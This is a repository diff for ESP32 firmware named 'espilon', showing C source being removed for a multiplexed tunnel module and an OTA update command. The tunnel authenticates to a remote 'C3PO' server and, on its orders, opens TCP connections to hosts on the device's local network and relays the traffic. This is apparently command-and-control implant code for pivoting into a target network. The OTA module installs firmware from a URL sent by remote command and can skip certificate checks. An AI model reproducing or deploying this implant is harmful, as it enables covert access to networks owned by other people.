* Multiplexed binary-framed TCP proxy via C3PO.
* Replaces the old mod_proxy single-shot relay.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_random.h"
#include "utils.h"
#include "tun_core.h"
#define TAG "TUNNEL"
/* ============================================================
* Global state
* ============================================================ */
static tun_state_t g_tun = {
.running = false,
.encrypted = false,
.c3po_sock = -1,
.rx_buf_len = 0,
.task_handle = NULL,
.last_ping_tick = 0,
};
/* ============================================================
* Socket helpers
* ============================================================ */
static bool send_all(int sock, const void *buf, size_t len)
{
const uint8_t *p = (const uint8_t *)buf;
while (len > 0) {
int sent = send(sock, p, len, 0);
if (sent <= 0) return false;
p += sent;
len -= sent;
}
return true;
}
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
{
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
uint8_t *p = (uint8_t *)buf;
size_t remaining = len;
while (remaining > 0) {
int n = recv(sock, p, remaining, 0);
if (n <= 0) return -1;
p += n;
remaining -= n;
}
return (int)len;
}
static bool set_nonblocking(int sock)
{
int flags = fcntl(sock, F_GETFL, 0);
if (flags < 0) return false;
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
}
/* ============================================================
* Frame I/O
* ============================================================ */
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
const uint8_t *data, uint16_t data_len)
{
if (g_tun.c3po_sock < 0) return false;
uint8_t hdr[TUN_FRAME_HDR_SIZE];
hdr[0] = (chan_id >> 8) & 0xFF;
hdr[1] = chan_id & 0xFF;
hdr[2] = (uint8_t)type;
hdr[3] = (data_len >> 8) & 0xFF;
hdr[4] = data_len & 0xFF;
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Assemble plaintext frame */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
if (data && data_len > 0) {
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
}
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
/* Encrypt: nonce[12] || ciphertext || tag[16] */
uint8_t enc[TUN_FRAME_MAX_ENC];
int enc_len = crypto_encrypt(plain, plain_len,
enc + 2, sizeof(enc) - 2);
if (enc_len < 0) {
ESP_LOGE(TAG, "frame encrypt failed");
return false;
}
/* Prepend 2-byte length */
enc[0] = (enc_len >> 8) & 0xFF;
enc[1] = enc_len & 0xFF;
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
}
#endif
/* Plaintext: header + data */
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
return false;
if (data && data_len > 0) {
if (!send_all(g_tun.c3po_sock, data, data_len))
return false;
}
return true;
}
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
uint8_t *out_data, uint16_t *out_len)
{
#ifdef CONFIG_TUNNEL_ENCRYPT
if (g_tun.encrypted) {
/* Need at least 2 bytes for length prefix */
if (g_tun.rx_buf_len < 2) return 1;
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
size_t total = 2 + enc_len;
if (g_tun.rx_buf_len < total) return 1;
/* Decrypt */
uint8_t plain[TUN_FRAME_MAX_PLAIN];
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
plain, sizeof(plain));
if (plain_len < TUN_FRAME_HDR_SIZE) {
/* Consume and discard bad frame */
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return -1;
}
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
*out_type = (tun_frame_type_t)plain[2];
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
if (*out_len > 0)
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
#endif
/* Plaintext: need at least 5-byte header */
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
if (g_tun.rx_buf_len < total) return 1;
if (*out_len > 0)
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
g_tun.rx_buf_len -= total;
if (g_tun.rx_buf_len > 0)
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
return 0;
}
/* ============================================================
* Channel management
* ============================================================ */
static tun_channel_t *chan_get(uint16_t id)
{
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
return &g_tun.channels[id - 1];
}
static void chan_close(uint16_t id, uint8_t reason)
{
tun_channel_t *ch = chan_get(id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
/* Notify C3PO */
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
id, reason, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void chan_close_all(void)
{
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state != CHAN_FREE) {
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
}
}
static void chan_send_error(uint16_t id, const char *msg)
{
tun_send_frame(id, TUN_FRAME_ERROR,
(const uint8_t *)msg, (uint16_t)strlen(msg));
}
/* ============================================================
* Frame handlers
* ============================================================ */
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch) {
chan_send_error(chan_id, "invalid channel id");
return;
}
if (ch->state != CHAN_FREE) {
chan_send_error(chan_id, "channel in use");
return;
}
if (len < 7) {
chan_send_error(chan_id, "OPEN too short");
return;
}
/* Parse target address */
uint32_t ipv4_raw;
memcpy(&ipv4_raw, data, 4);
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
uint8_t domain_len = data[6];
struct sockaddr_in target = {
.sin_family = AF_INET,
.sin_port = htons(port),
};
/* Try domain resolution first (ESP32-side, sees target network DNS) */
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
char domain[256];
memcpy(domain, data + 7, domain_len);
domain[domain_len] = '\0';
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
struct addrinfo *result = NULL;
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
target.sin_addr = addr->sin_addr;
freeaddrinfo(result);
} else {
if (result) freeaddrinfo(result);
/* Fallback to provided IPv4 */
target.sin_addr.s_addr = ipv4_raw;
}
} else {
target.sin_addr.s_addr = ipv4_raw;
}
/* Create socket and start non-blocking connect */
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) {
chan_send_error(chan_id, "socket() failed");
return;
}
/* Set connect timeout */
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
char ip_str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
close(s);
chan_send_error(chan_id, "connect failed");
return;
}
/* Set non-blocking after connect succeeds */
set_nonblocking(s);
ch->sock = s;
ch->state = CHAN_OPEN;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
/* Send OPEN_OK */
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
}
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
/* Temporarily set blocking for reliable send */
int flags = fcntl(ch->sock, F_GETFL, 0);
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
const uint8_t *p = data;
size_t remaining = len;
while (remaining > 0) {
int sent = send(ch->sock, p, remaining, 0);
if (sent <= 0) {
ESP_LOGW(TAG, "chan %u send error", chan_id);
chan_close(chan_id, TUN_CLOSE_RESET);
return;
}
p += sent;
remaining -= sent;
}
ch->bytes_tx += len;
/* Restore non-blocking */
fcntl(ch->sock, F_SETFL, flags);
}
static void tun_handle_close(uint16_t chan_id)
{
tun_channel_t *ch = chan_get(chan_id);
if (!ch || ch->state == CHAN_FREE) return;
if (ch->sock >= 0) {
close(ch->sock);
ch->sock = -1;
}
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
chan_id, ch->bytes_tx, ch->bytes_rx);
ch->state = CHAN_FREE;
ch->bytes_tx = 0;
ch->bytes_rx = 0;
}
static void tun_handle_ping(const uint8_t *data, uint16_t len)
{
/* Echo back as PONG on channel 0 (control) */
tun_send_frame(0, TUN_FRAME_PONG, data, len);
}
/* ============================================================
* Authentication
* ============================================================ */
static bool tun_authenticate(int sock)
{
/*
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
* + encrypted("espilon-tunnel-v1")
*
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
* C3PO verifies by decrypting with the device's derived key.
*/
const char *dev_id = CONFIG_DEVICE_ID;
size_t id_len = strlen(dev_id);
/* Encrypt auth token */
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
int enc_len = crypto_encrypt(
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
enc_token, sizeof(enc_token)
);
if (enc_len < 0) {
ESP_LOGE(TAG, "auth token encrypt failed");
return false;
}
/* Build handshake: magic + flags + id_len + id + encrypted_token */
uint8_t flags = 0;
#ifdef CONFIG_TUNNEL_ENCRYPT
flags |= 0x01; /* Request AEAD mode */
#endif
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
uint8_t *pkt = malloc(total);
if (!pkt) return false;
size_t off = 0;
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
pkt[off++] = flags;
pkt[off++] = (uint8_t)id_len;
memcpy(pkt + off, dev_id, id_len); off += id_len;
memcpy(pkt + off, enc_token, enc_len);
bool ok = send_all(sock, pkt, total);
free(pkt);
if (!ok) {
ESP_LOGE(TAG, "auth handshake send failed");
return false;
}
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
uint8_t resp;
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
ESP_LOGE(TAG, "auth response timeout");
return false;
}
if (resp != 0x00) {
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
return false;
}
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
return true;
}
/* ============================================================
* Main select() loop
* ============================================================ */
static void tun_dispatch_frames(void)
{
uint16_t chan_id;
tun_frame_type_t type;
uint8_t frame_data[TUN_FRAME_MAX_DATA];
uint16_t frame_len;
while (true) {
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
if (rc == 1) break; /* Incomplete frame, need more data */
if (rc == -1) {
ESP_LOGW(TAG, "bad frame, skipping");
continue;
}
switch (type) {
case TUN_FRAME_OPEN:
tun_handle_open(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_DATA:
tun_handle_data(chan_id, frame_data, frame_len);
break;
case TUN_FRAME_CLOSE:
tun_handle_close(chan_id);
break;
case TUN_FRAME_PING:
tun_handle_ping(frame_data, frame_len);
break;
case TUN_FRAME_PONG:
/* Received pong, tunnel is alive - nothing to do */
break;
default:
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
break;
}
}
}
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
static int tun_connect_and_auth(void)
{
struct sockaddr_in server = {
.sin_family = AF_INET,
.sin_port = htons(g_tun.c3po_port),
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
};
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s < 0) return -1;
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
close(s);
return -1;
}
if (!tun_authenticate(s)) {
close(s);
return -1;
}
return s;
}
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
static void tun_select_loop(void)
{
uint8_t data_buf[TUN_FRAME_MAX_DATA];
g_tun.last_ping_tick = xTaskGetTickCount();
while (g_tun.running) {
fd_set read_fds;
FD_ZERO(&read_fds);
int max_fd = g_tun.c3po_sock;
FD_SET(g_tun.c3po_sock, &read_fds);
/* Add all open channel sockets */
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
FD_SET(ch->sock, &read_fds);
if (ch->sock > max_fd) max_fd = ch->sock;
}
}
struct timeval tv = {
.tv_sec = 0,
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
};
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
if (ready < 0) {
if (errno == EINTR) continue;
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
break;
}
/* Read from C3PO tunnel socket */
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
if (space > 0) {
int n = recv(g_tun.c3po_sock,
g_tun.rx_buf + g_tun.rx_buf_len,
space, 0);
if (n <= 0) {
ESP_LOGW(TAG, "C3PO connection lost");
return; /* Break to reconnect loop */
}
g_tun.rx_buf_len += n;
}
tun_dispatch_frames();
}
/* Read from channel sockets, forward to C3PO */
if (ready > 0) {
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
tun_channel_t *ch = chan_get(i);
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
if (!FD_ISSET(ch->sock, &read_fds)) continue;
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
if (n > 0) {
ch->bytes_rx += n;
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
ESP_LOGW(TAG, "C3PO send failed");
return; /* Break to reconnect loop */
}
} else if (n == 0) {
/* Target closed connection */
chan_close(i, TUN_CLOSE_NORMAL);
} else {
if (errno != EAGAIN && errno != EWOULDBLOCK) {
chan_close(i, TUN_CLOSE_RESET);
}
}
}
}
/* Periodic PING keepalive */
uint32_t now = xTaskGetTickCount();
if ((now - g_tun.last_ping_tick) >=
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
uint8_t ts_buf[4];
ts_buf[0] = (ts >> 24) & 0xFF;
ts_buf[1] = (ts >> 16) & 0xFF;
ts_buf[2] = (ts >> 8) & 0xFF;
ts_buf[3] = ts & 0xFF;
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
g_tun.last_ping_tick = now;
}
}
}
static void tun_task(void *arg)
{
const char *req_id = (const char *)arg;
msg_info(TAG, "tunnel connected", req_id);
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
/* Outer reconnect loop */
while (g_tun.running) {
/* Run until connection drops or tun_stop() */
tun_select_loop();
/* Cleanup after disconnect */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.rx_buf_len = 0;
/* If stopped intentionally, exit */
if (!g_tun.running) break;
/* Reconnect with exponential backoff */
ESP_LOGW(TAG, "reconnecting in %"PRIu32"ms...", backoff_ms);
vTaskDelay(pdMS_TO_TICKS(backoff_ms));
if (!g_tun.running) break;
int s = tun_connect_and_auth();
if (s >= 0) {
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++)
g_tun.channels[i].sock = -1;
backoff_ms = TUN_RECONNECT_MIN_MS; /* Reset on success */
ESP_LOGI(TAG, "tunnel reconnected");
} else {
/* Exponential backoff: double, cap at max */
backoff_ms *= 2;
if (backoff_ms > TUN_RECONNECT_MAX_MS)
backoff_ms = TUN_RECONNECT_MAX_MS;
ESP_LOGW(TAG, "reconnect failed, next attempt in %"PRIu32"ms",
backoff_ms);
}
}
/* Final cleanup */
chan_close_all();
if (g_tun.c3po_sock >= 0) {
close(g_tun.c3po_sock);
g_tun.c3po_sock = -1;
}
g_tun.running = false;
g_tun.rx_buf_len = 0;
msg_info(TAG, "tunnel stopped", req_id);
/* Free heap-allocated request_id */
if (req_id) free((void *)req_id);
g_tun.task_handle = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id)
{
if (g_tun.running) return false;
/* Store address for reconnect */
snprintf(g_tun.c3po_ip, sizeof(g_tun.c3po_ip), "%s", c3po_ip);
g_tun.c3po_port = c3po_port;
/* Initial connection with retry loop */
int s = -1;
for (int retry = 0; retry < TUN_MAX_RETRY; retry++) {
ESP_LOGI(TAG, "connecting to %s:%d (attempt %d)...",
c3po_ip, c3po_port, retry + 1);
s = tun_connect_and_auth();
if (s >= 0) break;
vTaskDelay(pdMS_TO_TICKS(TUN_RETRY_DELAY_MS));
}
if (s < 0) {
msg_error(TAG, "unable to connect to tunnel server", req_id);
return false;
}
/* Initialize state */
g_tun.c3po_sock = s;
g_tun.rx_buf_len = 0;
g_tun.running = true;
#ifdef CONFIG_TUNNEL_ENCRYPT
g_tun.encrypted = true;
#else
g_tun.encrypted = false;
#endif
memset(g_tun.channels, 0, sizeof(g_tun.channels));
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
g_tun.channels[i].sock = -1;
}
/* Heap-copy request_id for the task (freed inside tun_task) */
char *req_copy = req_id ? strdup(req_id) : NULL;
xTaskCreatePinnedToCore(
tun_task,
"tun_task",
CONFIG_TUNNEL_TASK_STACK,
req_copy,
5,
&g_tun.task_handle,
1 /* Core 1 */
);
return true;
}
void tun_stop(void)
{
g_tun.running = false;
/* Task will exit on next select() timeout and clean up */
}
bool tun_is_running(void)
{
return g_tun.running;
}
void tun_get_status(char *buf, size_t buf_len)
{
if (!g_tun.running) {
snprintf(buf, buf_len, "tunnel=stopped");
return;
}
int open_chans = 0;
uint32_t total_tx = 0, total_rx = 0;
for (int i = 0; i < TUN_MAX_CHANNELS; i++) {
if (g_tun.channels[i].state == CHAN_OPEN) {
open_chans++;
total_tx += g_tun.channels[i].bytes_tx;
total_rx += g_tun.channels[i].bytes_rx;
}
}
snprintf(buf, buf_len,
"tunnel=running channels=%d/%d tx=%"PRIu32" rx=%"PRIu32" enc=%s",
open_chans, TUN_MAX_CHANNELS,
total_tx, total_rx,
g_tun.encrypted ? "aead" : "plain");
}

View File

@ -1,126 +0,0 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
/* ============================================================
* Tuneable constants (Kconfig overrides)
* ============================================================ */
#ifndef CONFIG_TUNNEL_MAX_CHANNELS
#define CONFIG_TUNNEL_MAX_CHANNELS 8
#endif
#ifndef CONFIG_TUNNEL_FRAME_MAX
#define CONFIG_TUNNEL_FRAME_MAX 4096
#endif
#ifndef CONFIG_TUNNEL_TASK_STACK
#define CONFIG_TUNNEL_TASK_STACK 6144
#endif
/* ============================================================
* Protocol constants
* ============================================================ */
#define TUN_MAX_CHANNELS CONFIG_TUNNEL_MAX_CHANNELS
#define TUN_FRAME_MAX_DATA CONFIG_TUNNEL_FRAME_MAX
#define TUN_FRAME_HDR_SIZE 5 /* chan_id(2) + type(1) + length(2) */
#define TUN_FRAME_MAX_PLAIN (TUN_FRAME_HDR_SIZE + TUN_FRAME_MAX_DATA)
/* Crypto overhead: nonce(12) + tag(16) */
#define TUN_CRYPTO_NONCE_LEN 12
#define TUN_CRYPTO_TAG_LEN 16
#define TUN_CRYPTO_OVERHEAD (TUN_CRYPTO_NONCE_LEN + TUN_CRYPTO_TAG_LEN)
/* Encrypted frame: 2-byte length prefix + nonce + encrypted(header+data) + tag */
#define TUN_FRAME_MAX_ENC (2 + TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD)
/* RX buffer must hold the largest possible frame */
#define TUN_RX_BUF_SIZE TUN_FRAME_MAX_ENC
/* Timeouts & limits */
#define TUN_CONNECT_TIMEOUT_S 5
#define TUN_SELECT_TIMEOUT_MS 100
#define TUN_MAX_RETRY 10
#define TUN_RETRY_DELAY_MS 5000
#define TUN_PING_INTERVAL_S 30
#define TUN_OPEN_TIMEOUT_S 10
/* Reconnect backoff (exponential: min -> min*2 -> ... -> max) */
#define TUN_RECONNECT_MIN_MS 1000
#define TUN_RECONNECT_MAX_MS 30000
/* Authentication */
#define TUN_MAGIC "TUN\x01"
#define TUN_MAGIC_LEN 4
#define TUN_AUTH_TOKEN "espilon-tunnel-v1"
#define TUN_AUTH_TOKEN_LEN 17
/* ============================================================
* Frame types
* ============================================================ */
typedef enum {
TUN_FRAME_OPEN = 0x01,
TUN_FRAME_OPEN_OK = 0x02,
TUN_FRAME_DATA = 0x03,
TUN_FRAME_CLOSE = 0x04,
TUN_FRAME_ERROR = 0x05,
TUN_FRAME_PING = 0x06,
TUN_FRAME_PONG = 0x07,
} tun_frame_type_t;
/* Close reasons */
#define TUN_CLOSE_NORMAL 0
#define TUN_CLOSE_RESET 1
#define TUN_CLOSE_TIMEOUT 2
/* ============================================================
* Channel state
* ============================================================ */
typedef enum {
CHAN_FREE = 0,
CHAN_CONNECTING,
CHAN_OPEN,
CHAN_CLOSING,
} tun_chan_state_t;
typedef struct {
tun_chan_state_t state;
int sock; /* Target-side TCP socket, -1 if free */
uint32_t bytes_tx;
uint32_t bytes_rx;
} tun_channel_t;
/* ============================================================
* Global tunnel state
* ============================================================ */
typedef struct {
volatile bool running;
bool encrypted; /* Per-frame AEAD mode */
int c3po_sock; /* Socket to C3PO tunnel server */
tun_channel_t channels[TUN_MAX_CHANNELS];
uint8_t rx_buf[TUN_RX_BUF_SIZE];
size_t rx_buf_len; /* Bytes buffered (partial frame) */
TaskHandle_t task_handle;
uint32_t last_ping_tick; /* For keepalive */
char c3po_ip[48]; /* Stored for reconnect */
int c3po_port; /* Stored for reconnect */
} tun_state_t;
/* ============================================================
* Public API
* ============================================================ */
bool tun_start(const char *c3po_ip, int c3po_port, const char *req_id);
void tun_stop(void);
bool tun_is_running(void);
void tun_get_status(char *buf, size_t buf_len);

View File

@ -1,5 +0,0 @@
idf_component_register(
SRCS cmd_ota.c
INCLUDE_DIRS .
REQUIRES core esp_https_ota app_update esp_http_client mbedtls
)

View File

@ -1,159 +0,0 @@
/*
* cmd_ota.c
* OTA firmware update commands (HTTPS + cert bundle)
* Compiled as empty when CONFIG_ESPILON_OTA_ENABLED is not set.
*/
#include "sdkconfig.h"
#ifdef CONFIG_ESPILON_OTA_ENABLED
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "esp_system.h"
#include "esp_ota_ops.h"
#include "esp_https_ota.h"
#include "esp_http_client.h"
#include "esp_crt_bundle.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#define TAG "OTA"
/* ============================================================
* COMMAND: ota_update <url> (async)
* ============================================================ */
static esp_err_t cmd_ota_update(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
const char *url = argv[0];
char buf[256];
snprintf(buf, sizeof(buf), "url=%s", url);
msg_info(TAG, buf, req);
esp_http_client_config_t http_config = {
.url = url,
#ifdef CONFIG_ESPILON_OTA_ALLOW_HTTP
.skip_cert_common_name_check = true,
#else
.crt_bundle_attach = esp_crt_bundle_attach,
#endif
.timeout_ms = 30000,
.keep_alive_enable = true,
};
esp_https_ota_config_t ota_config = {
.http_config = &http_config,
};
esp_https_ota_handle_t ota_handle = NULL;
esp_err_t err = esp_https_ota_begin(&ota_config, &ota_handle);
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "begin_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
return err;
}
int total_size = esp_https_ota_get_image_size(ota_handle);
int last_pct = -1;
while (1) {
err = esp_https_ota_perform(ota_handle);
if (err != ESP_ERR_HTTPS_OTA_IN_PROGRESS) break;
if (total_size > 0) {
int bytes_read = esp_https_ota_get_image_len_read(ota_handle);
int pct = (bytes_read * 100) / total_size;
if (pct / 10 != last_pct / 10) {
last_pct = pct;
snprintf(buf, sizeof(buf), "progress=%d%%", pct);
msg_info(TAG, buf, req);
}
}
}
if (err != ESP_OK) {
snprintf(buf, sizeof(buf), "download_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
esp_https_ota_abort(ota_handle);
return err;
}
err = esp_https_ota_finish(ota_handle);
if (err != ESP_OK) {
if (err == ESP_ERR_OTA_VALIDATE_FAILED) {
msg_error(TAG, "validate_failed=image_corrupted", req);
} else {
snprintf(buf, sizeof(buf), "finish_failed=%s", esp_err_to_name(err));
msg_error(TAG, buf, req);
}
return err;
}
msg_info(TAG, "status=success rebooting=true", req);
vTaskDelay(pdMS_TO_TICKS(500));
esp_restart();
return ESP_OK;
}
/* ============================================================
* COMMAND: ota_status
* ============================================================ */
static esp_err_t cmd_ota_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
const esp_partition_t *running = esp_ota_get_running_partition();
const esp_partition_t *boot = esp_ota_get_boot_partition();
esp_app_desc_t app_desc;
esp_ota_get_partition_description(running, &app_desc);
char buf[256];
snprintf(buf, sizeof(buf),
"partition=%s boot=%s version=%s idf=%s",
running ? running->label : "?",
boot ? boot->label : "?",
app_desc.version,
app_desc.idf_ver
);
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t ota_cmds[] = {
{ "ota_update", NULL, "OTA update from HTTPS URL", 1, 1, cmd_ota_update, NULL, true },
{ "ota_status", NULL, "Current firmware info", 0, 0, cmd_ota_status, NULL, false },
};
void mod_ota_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering OTA commands");
for (size_t i = 0; i < sizeof(ota_cmds) / sizeof(ota_cmds[0]); i++) {
command_register(&ota_cmds[i]);
}
}
#endif /* CONFIG_ESPILON_OTA_ENABLED */

View File

@ -1,3 +0,0 @@
#pragma once
void mod_ota_register_commands(void);

Some files were not shown because too many files have changed in this diff Show More